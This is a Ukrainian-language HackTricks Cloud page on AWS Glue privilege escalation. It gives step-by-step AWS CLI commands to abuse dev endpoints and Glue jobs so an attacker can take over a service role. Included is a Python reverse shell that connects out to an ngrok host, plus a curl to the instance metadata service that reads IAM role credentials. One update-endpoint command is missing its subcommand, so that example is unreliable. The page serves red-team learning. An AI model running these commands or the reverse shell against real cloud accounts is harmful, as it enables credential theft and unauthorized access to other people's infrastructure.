AWS - Glue Privesc
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
glue
iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
Користувачі з цими дозволами можуть створити новий AWS Glue development endpoint, призначивши цьому endpoint існуючу service role, яку може приймати Glue, з певними дозволами.
Після налаштування атакуючий може підключитися по SSH до інстансу endpoint та вкрасти IAM-креденціали призначеної ролі:
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
З метою прихованості рекомендовано використовувати IAM облікові дані зсередини віртуальної машини Glue.
Potential Impact: Privesc до вказаної glue service role.
glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
Користувачі з цим дозволом можуть змінити SSH-ключ існуючого Glue development endpoint'а, надавши доступ по SSH до нього. Це дозволяє нападнику виконувати команди з привілеями ролі, прикріпленої до endpoint'а:
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
Потенційний вплив: Privesc до використаної сервісної ролі glue.
iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)
Користувачі з iam:PassRole, у поєднанні з або glue:CreateJob чи glue:UpdateJob, та або glue:StartJobRun чи glue:CreateTrigger можуть створити або оновити завдання AWS Glue, прикріпивши будь-який Glue service account, та ініціювати виконання завдання. Завдання може виконувати довільний код Python, що може бути використано для встановлення reverse shell. Цей reverse shell можна використати для ексфільтрації IAM credentials ролі, прикріпленої до завдання Glue, що може призвести до несанкціонованого доступу або дій на основі прав цієї ролі:
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
Potential Impact: Privesc до зазначеної ролі сервісу glue.
glue:UpdateJob
Маючи лише дозвіл update, зловмисник може вкрасти облікові дані IAM вже приєднаної ролі.
Potential Impact: Privesc до приєднаної ролі сервісу glue.
Посилання
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud